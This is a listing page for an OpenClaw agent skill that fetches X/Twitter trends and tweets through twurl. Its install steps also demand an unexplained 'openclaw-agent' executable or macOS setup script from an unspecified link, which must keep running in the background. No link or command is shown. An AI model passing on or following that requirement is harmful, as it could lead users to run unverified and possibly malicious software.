Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-kujtpWhat This Skill Does
The x-trends skill empowers your OpenClaw agent to tap into real-time conversation data from X (formerly Twitter). By integrating with the official twurl CLI and requiring the specialized openclaw-agent middleware, it enables you to monitor what the world is talking about. Whether you need to pull the current global trending hashtags, search for granular trends by specific geographical locations using WOEID (Where On Earth ID) identifiers, or perform targeted searches on recent tweets, this skill provides a robust command-line bridge to Twitter's API. It is designed for developers, social media managers, and researchers who require programmatic access to social sentiment and current events.
Installation
To get started, you must satisfy two primary requirements. First, ensure the openclaw-agent is active on your system; download the Windows executable from the provided GitHub link or follow the macOS setup script on the official documentation page. Second, install twurl via RubyGems: gem install twurl. You will need to authenticate using your Twitter Developer API credentials (consumer-key and consumer-secret) by running twurl authorize. Finally, install the skill package into your agent instance using clawhub install openclaw/skills/skills/hightower6eu/x-trends-kujtp. Always ensure your agent is authorized and the bridge executable is running before executing commands.
Use Cases
This skill is highly versatile. Use it to track marketing campaign performance by searching for specific hashtags, keep your AI assistant updated on breaking news stories, monitor regional sentiment across different countries using localized WOEID codes, or gather data for social trend analysis projects. It is an essential tool for creating time-sensitive applications that react to the public discourse.
Example Prompts
- "OpenClaw, pull the top 10 trending topics for the USA right now and give me a brief summary of what they are about."
- "Search for the latest 10 tweets containing the hashtag #AI, and filter the results to only show posts from verified accounts."
- "What are the current trending topics in Japan? Please format the list as a simple table using their names and volumes."
Tips & Limitations
Note that Twitter API v1.1 is used for location-based trends, while v2 is used for tweet searching. Be mindful of the API rate limits, which are capped at 75 requests per 15 minutes. Not all trends contain tweet_volume data, as this depends on Twitter's internal reporting. Always use jq to parse the output, as raw API responses are dense JSON. If the skill stops responding, check if the openclaw-agent background process has terminated.
